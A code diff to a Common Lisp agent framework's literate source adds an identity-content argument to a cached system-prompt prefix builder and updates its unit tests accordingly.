 ** Contract 1: prompt prefix caching
 #+begin_src lisp
-(defun prompt-prefix-cached (assistant-name feedback mandates-text tool-belt)
+(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
   "Build the static IDENTITY+TOOLS system prompt prefix.
 Uses sxhash on inputs to detect changes; returns cached string on cache hit."
-  (let* ((hash-key (sxhash (list assistant-name feedback mandates-text tool-belt)))
+  (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt)))
          (cached-hash (car *prompt-prefix-cache*))
          (cached-str (cdr *prompt-prefix-cache*)))
     (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
         cached-str
-        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~%~%TOOLS:~%~a"
-                                  assistant-name feedback
+        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a"
+                                  assistant-name identity-content feedback
                                   (if (and mandates-text (> (length mandates-text) 0))
                                       (concatenate 'string (string #\Newline) mandates-text)
                                       "")
@@ -184,11 +184,22 @@ with trimmed sections."
     :description "Prompt prefix caching, incremental context, token budget")
 (in-suite token-economics-suite)
 
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
 (test test-prompt-prefix-cached-builds
   "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (stringp prefix))
     (is (search "IDENTITY" prefix))
     (is (search "TOOLS" prefix))))
@@ -197,16 +208,16 @@ with trimmed sections."
   "Contract 1: second call with same inputs returns cached result."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (string= p1 p2))))
 
 (test test-prompt-prefix-cached-miss
   "Contract 1: different inputs rebuild the cache."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
     (is (not (string= p1 p2)))
     (is (search "Bot" p2))))